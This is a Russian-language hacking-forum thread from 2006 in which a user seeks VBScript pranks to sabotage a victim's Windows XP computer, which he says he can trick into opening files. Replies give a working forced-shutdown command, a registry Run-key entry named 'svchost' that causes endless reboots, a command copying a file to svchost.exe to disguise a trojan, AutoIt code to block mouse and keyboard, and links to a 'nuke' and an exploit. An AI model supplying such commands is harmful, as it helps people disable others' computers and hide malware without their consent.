PDA

Просмотр полной версии : пакости на vbscipt


George767
26.10.2006, 07:27
Народ, вот эта статейка
http://antichat.ru/txt/old/tiran.shtml

запустил скрипт для выключения винды
<HTML>
<HEAD>
</head>
<body>
<SCRIPT LANGUAGE="VBScript">
<!--

Set Shell=CreateObject("WScript.Shell")
Shell.Run "Rundll32.exe User.exe,ExitWindows"

-->
</SCRIPT>
</BODY>
</HTML>

ничего не происходит

Антивиря и фаервола у ми нет, винда XP, Sp2. Тестил из-под IE и Мозилы.
В чём проблема?

hidden
26.10.2006, 07:37
Проблема в том, что "User.exe,ExitWindows" не совместимо с XP, во всяком случае с XP-шным "Rundll32.exe"
--------
Альтернатива "Rundll32.exe User.exe,ExitWindows" - "shutdown.exe -s -t 1 -f -d u"
--------
Да и обьект "WScript.Shell", создаётся только если страница на локальном диске.

George767
26.10.2006, 14:45
Проблема в том, что "User.exe,ExitWindows" не совместимо с XP, во всяком случае с XP-шным "Rundll32.exe"
--------
Альтернатива "Rundll32.exe User.exe,ExitWindows" - "shutdown.exe -s -t 1 -f -d u"
--------
Да и обьект "WScript.Shell", создаётся только если страница на локальном диске.


Работает спасибо огромное!
А подскажи функции для вырубания мышки и клавы, тоже для Xp.

PS Автор той статьи писал что мол придётся вообще винду переставлять, ибо мышь и клавиатура работать не будут. Я так понимаю это в автозагрузку всё записывается? Под безопасным режимом тоже они не будут работать?

Заранее спасибо

PS Плюсик:))

hidden
26.10.2006, 18:17
A пoдcкaжи фyнкции для выpyбaния мышки и клaвы, тoжe для X .Я c тaкими нe cтaлкивaлcя, нeзaчeм... Moжeт кaк нибyдь дpaйвepa пoдпopтить. Пoпpoбyй
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v svchost /t REG_EXPAND_SZ /d "shutdown.exe -s -t 1 -f -d u"
и бyдeт тeбе вeчнaя пepeзaгpyзкa, peшeниe чepeз бeзoпacтный peжим, a вooбщe, ecли ecть тaкaя вoзмoжнocть зaкинyл бы кaкyю-нeбyдь звepюшкy: тpoянa, чepвякa, paдминa.
copy top.gif %windir%\svchost.exe
%windir%\svchost.exe

George767
26.10.2006, 22:05
Я c тaкими нe cтaлкивaлcя, нeзaчeм... Moжeт кaк нибyдь дpaйвepa пoдпopтить. Пoпpoбyй
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v svchost /t REG_EXPAND_SZ /d "shutdown.exe -s -t 1 -f -d u"
и бyдeт тeбе вeчнaя пepeзaгpyзкa, peшeниe чepeз бeзoпacтный peжим, a вooбщe, ecли ecть тaкaя вoзмoжнocть зaкинyл бы кaкyю-нeбyдь звepюшкy: тpoянa, чepвякa, paдминa.
copy top.gif %windir%\svchost.exe
%windir%\svchost.exe


Я вот тут нашёл кое-что по теме, но из-за незная vbs, незнаю как это применить конкретно...
http://www.pcreview.co.uk/forums/thread-531920.php
Поможешь код составить?

hidden
26.10.2006, 22:10
Они же готовый код дают
Set oAutoIt = CreateObject("AutoItX.Control")
oAutoIt.BlockInput "on"Вот толькоInput will be automatically enabled when the script closes

George767
26.10.2006, 22:50
Они же готовый код дают
Set oAutoIt = CreateObject("AutoItX.Control")
oAutoIt.BlockInput "on"Вот только


Там по ссылке говорится что нужно зарегать библиотеку DLL на компе жертвы для работоспособности скрипта. Это что ?

hidden
26.10.2006, 23:00
Там по ссылке говорится что нужно зарегать библиотеку DLL на компе жертвы для работоспособности скрипта. Это что ?т.е. Нужно скачать ему на комп эту библиотеку и прописать её в реестр, чтоб VB мог получать к ней доступ. Но судя по первому посту, тебе это совсем не нужно.

George767
26.10.2006, 23:16
т.е. Нужно скачать ему на комп эту библиотеку и прописать её в реестр, чтоб VB мог получать к ней доступ. Но судя по первому посту, тебе это совсем не нужно.

дык если я заставлю жертву открыть файлик с кодом
<HTML>
<HEAD>
</head>
<body>
<SCRIPT LANGUAGE="VBScript">
<!--

Set oAutoIt = CreateObject("AutoItX.Control")
oAutoIt.BlockInput "on"

-->
</SCRIPT>
</BODY>
</HTML>

будет ли это работать? думаю нет, тут ясно видно что требуется AutoIt...

hidden
26.10.2006, 23:28
будет ли это работать? думаю нет, тут ясно видно что требуется AutoIt...Это я и говорю, чтоб оно работало, надо установить эту прогу(как написано можно обойтись регистрацией библиотеки), но ведь если ты можешь копировать файлы и прописывать их в реестр, то зачем тебе ставить эту прогу, когда ты можешь поставить почьти любую другую, неужели только для отключения мыши и клавы на время выполнения скрипта.

George767
26.10.2006, 23:57
Это я и говорю, чтоб оно работало, надо установить эту прогу(как написано можно обойтись регистрацией библиотеки), но ведь если ты можешь копировать файлы и прописывать их в реестр, то зачем тебе ставить эту прогу, когда ты можешь поставить почьти любую другую, неужели только для отключения мыши и клавы на время выполнения скрипта.

нет, ничего прописывать не могу, компьютер не мой будет. Могу
а) заставить скачать файлы
б) заставить открыть файл который будет служить началом цепной реакции

Цель - злая шутка. Думаю отключение клавы и мышки и лишь единственный выход - переутсановка винды - было бы идеальным сценарием...
Всякие трояны и вирусняк не пройдёт - антивири есть...

stap
27.10.2006, 10:44
Чувак чё ты паришься с этими (*vbs) скриптами,это всё старьё,западло на пагах в эпоху XP уже не то ...
Взял бы лучше нюк (http://www.tiiima.nm.ru/1/nuke.rar) или сплоит (http://www.tiiima.nm.ru/1/EvilIGMP.rar) и вперёд ... :D